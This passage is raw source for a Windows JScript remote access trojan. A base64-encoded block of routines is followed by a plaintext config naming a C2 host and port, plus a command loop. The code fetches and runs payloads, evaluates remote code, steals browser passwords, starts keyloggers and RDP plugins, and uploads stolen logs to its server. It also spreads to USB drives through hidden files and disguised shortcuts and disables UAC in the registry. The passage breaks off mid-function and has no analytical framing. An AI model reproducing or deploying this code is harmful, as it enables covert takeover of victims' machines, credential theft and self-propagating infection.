3htbDIueG1saHR0cCIpOwpvYmpodHRwZG93bmxvYWQub3BlbigiZ2V0Iiwgc3RybGluaywgZmFsc2UpOwpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLCAibWF4LWFnZT0wIik7Cm9iamh0dHBkb3dubG9hZC5zZW5kKCk7Cgp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgIG9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsKfQogCmlmIChvYmpodHRwZG93bmxvYWQuc3RhdHVzID09IDIwMCl7CiAgIHZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7CiAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOyAKICAgb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOwogICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKICAgb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOwogICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwogICBvYmpzdHJlYW1kb3dubG9hZCA9IG51bGw7Cn0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgdmFyIHJ1bm5lciA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpOwogICB2YXIgc2F2ZXIgPSBvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoCiAgIAogICAvL3RyeSAxMCB0aW1lcyBiZWZvcmUgZ2l2ZXVwCiAgIGZvcih2YXIgaT0wOyBpPDU7IGkrKyl7CgkJc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7CgkJV1NjcmlwdC5zbGVlcCgxMDAwKTsKCQlydW5uZXIuc2hlbGxFeGVjdXRlKHNhdmVyLCAiIC9zdGV4dCAiICsgc2F2ZXIgKyAiZGF0YSIpOwoJCVdTY3JpcHQuc2xlZXAoMjAwMCk7CgkJaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzYXZlciArICJkYXRhIikpewoJCQl2YXIgc3IgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShzYXZlciArICJkYXRhIik7CgkJCXZhciBidWZmZXIgPSBzci5yZWFkYWxsKCk7CgkJCXNyLmNsb3NlKCk7CgkJCXNyID0gbnVsbDsKCQkJCgkJCXZhciBvdXRwYXRoID0gaW5zdGFsbGRpciArICJ3c2hsb2dzXFxyZWNvdmVyZWRfcGFzc3dvcmRfZW1haWwubG9nIjsKCQkJdmFyIGZvbGRlciA9IG9iamZzb2Rvd25sb2FkLkdldFBhcmVudEZvbGRlck5hbWUob3V0cGF0aCk7CgoJCQlpZiAoIW9iamZzb2Rvd25sb2FkLkZvbGRlckV4aXN0cyhmb2xkZXIpKQoJCQl7CgkJCQlzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyBta2RpciBcIiIgKyBmb2xkZXIgKyAiXCIiLCAwLCB0cnVlKTsKCQkJfQoJCQl3cml0ZXIgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShvdXRwYXRoLCAyLCB0cnVlKTsKCQkJd3JpdGVyLndyaXRlKGJ1ZmZlcik7CgkJCXdyaXRlci5jbG9zZSgpOwoJCQl3cml0ZXIgPSBudWxsOwoJCQkKCQkJdXBsb2FkKHNhdmVyICsgImRhdGEiLCByZXRjbWQpOwoJCQlicmVhazsKCQl9CiAgIH0KICAgZGVsZXRlZmFmKHN0cnNhdmV0byk7Cn0KCn0KCmZ1bmN0aW9uIGtleWxvZ2dlcnN0YXJ0ZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCBmaWxlYXJnLCBpc19vZmZsaW5lKXsKc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7CnZhciBzdHJsaW5rID0gZmlsZXVybDsKdmFyIHN0cnNhdmV0byA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsKdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIgKTsKb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsKb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoImNhY2hlLWNvbnRyb2w6IiwgIm1heC1hZ2U9MCIpOwpvYmpodHRwZG93bmxvYWQuc2VuZCgpOwoKdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7CmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7CiAgICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7Cn0KIAppZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApewogIHRyeXsKICAgIHZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7CiAgICBvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsgCiAgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CiAgICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKICAgIG9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsKICAgIG9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7CiAgICAKICAgIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCX1jYXRjaChlcnIpewoJCXVwZGF0ZXN0YXR1cygiQWNjZXNzK0RlbmllZCIpOwoJfQogfQogaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgc2hlbGxvYmoucnVuKCJcIiIgKyBzdHJzYXZldG8gKyAiXCIgIiArIGhvc3QgKyAiICIgKyBwb3J0ICsgIiBcIiIgKyBmaWxlYXJnICsgIlwiICIgKyBpc19vZmZsaW5lKTsKIH0gCn0KCmZ1bmN0aW9uIHNlcnZpY2VzdGFydGVyIChmaWxldXJsLCBmaWxlbmFtZSwgZmlsZWFyZyl7CiAgICBzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyB0YXNra2lsbCAvRiAvSU0gIiArIGZpbGVuYW1lLCAwLCB0cnVlKTsKICAgIHZhciBzdHJsaW5rID0gZmlsZXVybDsKICAgIHZhciBzdHJzYXZldG8gPSBpbnN0YWxsZGlyICsgZmlsZW5hbWU7CiAgICB2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIiApOwogICAgb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsKICAgIG9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJjYWNoZS1jb250cm9sOiIsICJtYXgtYWdlPTAiKTsKICAgIG9iamh0dHBkb3dubG9hZC5zZW5kKCk7CiAgICAKICAgIHZhciBvYmpmc29kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOwogICAgaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgICAgICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7CiAgICB9CiAgICAgCiAgICBpZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApewoJICB0cnl7CiAgICAgICAgdmFyICBvYmpzdHJlYW1kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsgCiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOwogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOwogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwogICAgICAgIAogICAgICAgIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCSAgfWNhdGNoKGVycil7CgkJdXBkYXRlc3RhdHVzKCJBY2Nlc3MrRGVuaWVkIik7CgkgIH0KICAgICB9CiAgICAgaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgICAgICBzaGVsbG9iai5ydW4oIlwiIiArIHN0cnNhdmV0byArICJcIiAiICsgaG9zdCArICIgIiArIHBvcnQgKyAiIFwiIiArIGZpbGVhcmcgKyAiXCIiKTsKICAgICAgfSAgCn0KCmZ1bmN0aW9uIHNpdGVkb3dubG9hZGVyIChmaWxldXJsLGZpbGVuYW1lKXsKCiAgICB2YXIgc3RybGluayA9IGZpbGV1cmw7CiAgICB2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArIGZpbGVuYW1lOwogICAgdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIuc2VydmVyeG1saHR0cCIgKTsKICAgIG9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7CiAgICBvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbCIsICJtYXgtYWdlPTAiKTsKICAgIG9iamh0dHBkb3dubG9hZC5zZW5kKCk7CiAgICAKICAgIHZhciBvYmpmc29kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOwogICAgaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgICAgICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7CiAgICB9CiAgICAgCiAgICBpZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApewogICAgICAgIHZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7CiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuVHlwZSA9IDE7IAogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7CiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsKICAgICAgICAKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZCA9IG51bGw7CiAgICAgfQogICAgIGlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7CiAgICAgICAgc2hlbGxvYmoucnVuKG9iamZzb2Rvd25sb2FkLmdldEZpbGUoc3Ryc2F2ZXRvKS5zaG9ydFBhdGgpOwogICAgICAgIHVwZGF0ZXN0YXR1cygiRXhlY3V0ZWQrRmlsZSIpOwogICAgIH0KfQoKZnVuY3Rpb24gZG93bmxvYWQgKGZpbGV1cmwsZmlsZWRpcil7CiAgICBpZihmaWxlZGlyID09ICIiKXsgCiAgICBmaWxlZGlyID0gaW5zdGFsbGRpcjsKICAgIH0KCiAgICBzdHJzYXZldG8gPSBmaWxlZGlyICsgZmlsZXVybC5zdWJzdHIoZmlsZXVybC5sYXN0SW5kZXhPZigiXFwiKSArIDEpOwogICAgdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwogICAgb2JqaHR0cGRvd25sb2FkLm9wZW4oInBvc3QiLCJodHRwOi8vIiArIGhvc3QgKyAiOiIgKyBwb3J0ICsiLyIgKyAic2VuZC10by1tZSIgKyBzcGxpdGVyICsgZmlsZXVybCwgZmFsc2UpOwogICAgb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoInVzZXItYWdlbnQ6IiwgaW5mb3JtYXRpb24oKSk7CiAgICBvYmpodHRwZG93bmxvYWQuc2VuZCgiIik7CiAgICAgICAgCiAgICB2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKICAgIGlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7CiAgICAgICAgb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOwogICAgfQogICAgIAogICAgaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsKICAgICAgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOyAKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOwogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7CiAgICAgICAgCiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOwogICAgIH0KICAgICBpZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpewogICAgICAgIHNoZWxsb2JqLnJ1bihvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoKTsKICAgICAgICB1cGRhdGVzdGF0dXMoIkV4ZWN1dGVkK0ZpbGUiKTsKICAgICB9IAp9CgpmdW5jdGlvbiB1cGRhdGVzdGF0dXMoc3RhdHVzX21zZyl7CnRyeXsKCXZhciBvYmpzb2MgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTsKCW9ianNvYy5vcGVuKCJwb3N0IiwiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydCArICIvIiArICJ1cGRhdGUtc3RhdHVzIiArIHNwbGl0ZXIgKyBzdGF0dXNfbXNnLCBmYWxzZSk7CglvYmpzb2Muc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsKCW9ianNvYy5zZW5kKCIiKTsKCX1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gdXBsb2FkIChmaWxldXJsLCByZXRjbWQpewoJdHJ5ewoJCXZhciAgaHR0cG9iaixvYmpzdHJlYW11cGxvYWRlLGJ1ZmZlcjsKCQl2YXIgb2Jqc3RyZWFtdXBsb2FkZSA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsKCQlvYmpzdHJlYW11cGxvYWRlLlR5cGUgPSAxOyAKCQlvYmpzdHJlYW11cGxvYWRlLk9wZW4oKTsKCQlvYmpzdHJlYW11cGxvYWRlLmxvYWRGcm9tRmlsZShmaWxldXJsKTsKCQlidWZmZXIgPSBvYmpzdHJlYW11cGxvYWRlLlJlYWQoKTsKCQlvYmpzdHJlYW11cGxvYWRlLmNsb3NlKCk7CgoJCW9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQl2YXIgaHR0cG9iaiA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwoJCWh0dHBvYmoub3BlbigicG9zdCIsImh0dHA6Ly8iICsgaG9zdCArICI6IiArIHBvcnQgKyIvIiArIHJldGNtZCwgZmFsc2UpOwoJCWh0dHBvYmouc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsKCQlodHRwb2JqLnNlbmQoYnVmZmVyKTsKCX1jYXRjaChlcil7CgkJdXBkYXRlc3RhdHVzKCJVcGxvYWQrRmFpbGVkIik7Cgl9Cn0KCgpmdW5jdGlvbiBkZWxldGVmYWYgKHVybCl7CnRyeXsKZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKHVybCk7CmZpbGVzeXN0ZW1vYmouZGVsZXRlRm9sZGVyKHVybCk7Cn1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gY21kc2hlbGwgKGNtZCl7CnZhciBodHRwb2JqLG9leGVjLHJlYWRhbGxmcm9tYW55Owp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArICJvdXQudHh0IjsKc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIiArIGNtZCArICIgPiBcIiIgKyBzdHJzYXZldG8gKyAiXCIiLCAwLCB0cnVlKTsKcmVhZGFsbGZyb21hbnkgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShzdHJzYXZldG8pLnJlYWRBbGwoKTsKdHJ5ewpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsKfWNhdGNoKGVlKXt9CnJldHVybiByZWFkYWxsZnJvbWFueTsKfQoKCmZ1bmN0aW9uIGVudW1wcm9jZXNzKCl7CiAgICB2YXIgZXAgPSAiIjsKdHJ5ewp2YXIgb2Jqd21pc2VydmljZSA9IEdldE9iamVjdCgid2lubWdtdHM6XFxcXC5cXHJvb3RcXGNpbXYyIik7CnZhciBjb2xpdGVtcyA9IG9iandtaXNlcnZpY2UuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX3Byb2Nlc3MiLG51bGwsNDgpOwoKZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogICAgdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7CgllcCA9IGVwICsgb2JqaXRlbS5uYW1lICsgIl4iOwoJZXAgPSBlcCArIG9iaml0ZW0ucHJvY2Vzc0lkICsgIl4iOwogICAgZXAgPSBlcCArIG9iaml0ZW0uZXhlY3V0YWJsZVBhdGggKyBzcGxpdGVyOwp9Cn1jYXRjaChlcil7fQpyZXR1cm4gZXA7Cn0KCmZ1bmN0aW9uIGV4aXRwcm9jZXNzIChwaWQpewp0cnl7CnNoZWxsb2JqLnJ1bigidGFza2tpbGwgL0YgL1QgL1BJRCAiICsgcGlkLDAsdHJ1ZSk7Cn1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gZ2V0UGFyZW50RGlyZWN0b3J5KHBhdGgpewoJdmFyIGZvID0gZmlsZXN5c3RlbW9iai5nZXRGaWxlKHBhdGgpOwoJcmV0dXJuIGZpbGVzeXN0ZW1vYmouZ2V0UGFyZW50Rm9sZGVyTmFtZShmbyk7Cn0KCmZ1bmN0aW9uIGVudW1mYWYgKGVudW1kaXIpewogICAgdmFyIHJlID0gIiI7CnRyeXsKICAgIGZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldEZvbGRlciAoZW51bWRpcikuc3ViZm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKICAgICAgICB2YXIgZm9sZGVyID0gZmkuaXRlbSgpOwogICAgICAgIHJlID0gcmUgKyBmb2xkZXIubmFtZSArICJeXmReIiArIGZvbGRlci5hdHRyaWJ1dGVzICsgc3BsaXRlcjsgCiAgICB9CiAgICBmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRGb2xkZXIgKGVudW1kaXIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogICAgICAgIHZhciBmaWxlID0gZmkuaXRlbSgpOwogICAgICAgIHJlID0gcmUgKyBmaWxlLm5hbWUgKyAiXiIgKyBmaWxlLnNpemUgKyAiXiIgKyBmaWxlLmF0dHJpYnV0ZXMgKyBzcGxpdGVyOyAKICAgIH0KfWNhdGNoKGVycil7fQpyZXR1cm4gcmU7Cn0= ------------------------------------------ //<[ recoder : kognito (c) skype : live:unknown.sales64 ]> //=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-= var host = "pluginsrv.duckdns.org"; var port = 7756; var installdir = "%appdata%"; var runAsAdmin = false; var lnkfile = true; var lnkfolder = true; if(runAsAdmin == true){ startupElevate(); } if(WScript.Arguments.Named.Exists("elevated") == true){ disableSecurity(); } //=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-= var shellobj = WScript.createObject("wscript.shell"); var filesystemobj = WScript.createObject("scripting.filesystemobject"); var httpobj = WScript.createObject("msxml2.xmlhttp"); //=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-= var installname = WScript.scriptName; var startup = shellobj.specialFolders("startup") + "\\"; installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\"; if(!filesystemobj.folderExists(installdir)){ installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\";} var spliter = "|"; var sdkpath = installdir + "wshsdk"; var sdkfile = sdkpath + "\\" + chr(112) + chr(121) + chr(116) + chr(104) + chr(111) + chr(110) + chr(46) + chr(101) + chr(120) + chr(101); var sleep = 5000; var response, cmd, param, oneonce; var inf = ""; var usbspreading = ""; var startdate = ""; //=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-= instance(); while(true){ try{ install(); response = ""; response = post ("is-ready",""); cmd = response.split(spliter); switch(cmd[0]){ case "disconnect": WScript.quit(); break; case "reboot": shellobj.run("%comspec% /c shutdown /r /t 0 /f", 0, true); break; case "shutdown": shellobj.run("%comspec% /c shutdown /s /t 0 /f", 0, true); break; case "excecute": param = cmd[1]; eval(param); break; case "install-sdk": installsdk(); break; case "get-pass": passgrabber(cmd[1], "cmdc.exe", cmd[2]); break; case "get-pass-offline": passgrabber(cmd[3], "cmdc.exe", "ie"); passgrabber("null", "cmdc.exe", "chrome"); passgrabber("null", "cmdc.exe", "mozilla"); passgrabber2(cmd[1], "cmdc.exe", cmd[2]); break; case "update": param = response.substr(response.indexOf("|") + 1); oneonce.close(); oneonce = filesystemobj.openTextFile(installdir + installname ,2, false); oneonce.write(param); oneonce.close(); shellobj.run("wscript.exe //B \"" + installdir + installname + "\""); WScript.quit(); case "uninstall": uninstall(); break; case "up-n-exec": download(cmd[1],cmd[2]); break; case "bring-log": upload(installdir + "wshlogs\\" + cmd[1], "take-log"); break; case "down-n-exec": sitedownloader(cmd[1],cmd[2]); break; case "filemanager": servicestarter(cmd[1], "fm-plugin.exe", information()); break; case "rdp": servicestarter(cmd[1], "rd-plugin.exe", information()); break; case "keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 0); break; case "offline-keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 1); break; case "browse-logs": post("is-logs", enumfaf(installdir + "wshlogs")); break; case "cmd-shell": param = cmd[1]; post("is-cmd-shell",cmdshell(param)); break; case "get-processes": post("is-processes", enumprocess()); break; case "disable-uac": disableSecurity(); updatestatus("UAC+Disabled+(Reboot+Required)"); break; case "check-eligible": if(filesystemobj.fileExists(cmd[1])){ updatestatus("Is+Eligible"); }else{ updatestatus("Not+Eligible"); } break; case "force-eligible": if(WScript.Arguments.Named.Exists("elevated") == true){ if(filesystemobj.folderExists(cmd[1])){ shellobj.run("%comspec% /c " + cmd[2], 0, true); updatestatus("SUCCESS"); }else{ updatestatus("Component+Missing"); } } else{ updatestatus("Elevation+Required"); } break; case "elevate": if(WScript.Arguments.Named.Exists("elevated") == false){ try{ oneonce.close(); oneonce = null; WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); updatestatus("Client+Elevated"); }catch(nn){ } WScript.quit(); } else{ updatestatus("Client+Elevated"); } break; case "if-elevate": if(WScript.Arguments.Named.Exists("elevated") == false){ updatestatus("Client+Not+Elevated"); } else{ updatestatus("Client+Elevated"); } break; case "kill-process": exitprocess(cmd[1]); break; case "sleep": param = cmd[1]; sleep = eval(param); break; } }catch(er){} WScript.sleep(sleep); } function installsdk(){ try{ var sdkurl = post("moz-sdk", ""); var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("get", sdkurl, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); if(filesystemobj.fileExists(installdir + "wshsdk.zip")){ filesystemobj.deleteFile(installdir + "wshsdk.zip"); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(installdir + "wshsdk.zip"); objstreamdownload.close(); objstreamdownload = null; }catch(ez){ } } if(filesystemobj.fileExists(installdir + "wshsdk.zip")){ //unzip the file UnZip(installdir + "wshsdk.zip", sdkpath); updatestatus("SDK+Installed"); } }catch(err){} } function install(){ var lnkobj; var filename; var foldername; var fileicon; var foldericon; upstart(); for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){ var drive = dri.item(); if (drive.isready == true){ if (drive.freespace > 0 ){ if (drive.drivetype == 1 ){ try{ filesystemobj.copyFile(WScript.scriptFullName , drive.path + "\\" + installname,true); if (filesystemobj.fileExists (drive.path + "\\" + installname)){ filesystemobj.getFile(drive.path + "\\" + installname).attributes = 2+4; } }catch(eiju){} for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").files); !fi.atEnd(); fi.moveNext()){ try{ var file = fi.item(); if (lnkfile == false){break;} if (file.name.indexOf(".")){ if ((file.name.split(".")[file.name.split(".").length - 1]).toLowerCase() != "lnk"){ file.attributes = 2+4; if (file.name.toUpperCase() != installname.toUpperCase()){ filename = file.name.split("."); lnkobj = shellobj.createShortcut(drive.path + "\\" + filename[0] + ".lnk"); lnkobj.windowStyle = 7; lnkobj.targetPath = "cmd.exe"; lnkobj.workingDirectory = ""; lnkobj.arguments = "/c start " + installname.replace(new RegExp(" ", "g"), "\" \"") + "&start " + file.name.replace(new RegExp(" ", "g"), "\" \"") +"&exit"; try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){} if (fileicon.indexOf(",") == 0){ lnkobj.iconLocation = file.path; }else { lnkobj.iconLocation = fileicon; } lnkobj.save(); } } } }catch(err){} } for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").subFolders); !fi.atEnd(); fi.moveNext()){ try{ var folder = fi.item(); if (lnkfolder == false){break;} folder.attributes = 2+4; foldername = folder.name; lnkobj = shellobj.createShortcut(drive.path + "\\" + foldername + ".lnk"); lnkobj.windowStyle = 7; lnkobj.targetPath = "cmd.exe"; lnkobj.workingDirectory = ""; lnkobj.arguments = "/c start " + installname.replace(new RegExp(" ", "g"), "\" \"") + "&start explorer " + folder.name.replace(new RegExp(" ", "g"), "\" \"") +"&exit"; foldericon = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\classes\\folder\\defaulticon\\"); if (foldericon.indexOf(",") == 0){ lnkobj.iconLocation = folder.path; }else { lnkobj.iconLocation = foldericon; } lnkobj.save(); }catch(err){} } } } } } } function startupElevate(){ if(WScript.Arguments.Named.Exists("elevated") == false){ try{ WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); }catch(nn){ } WScript.quit(); } } function disableSecurity(){ if(WScript.Arguments.Named.Exists("elevated") == true){ var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv"); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA", 0); 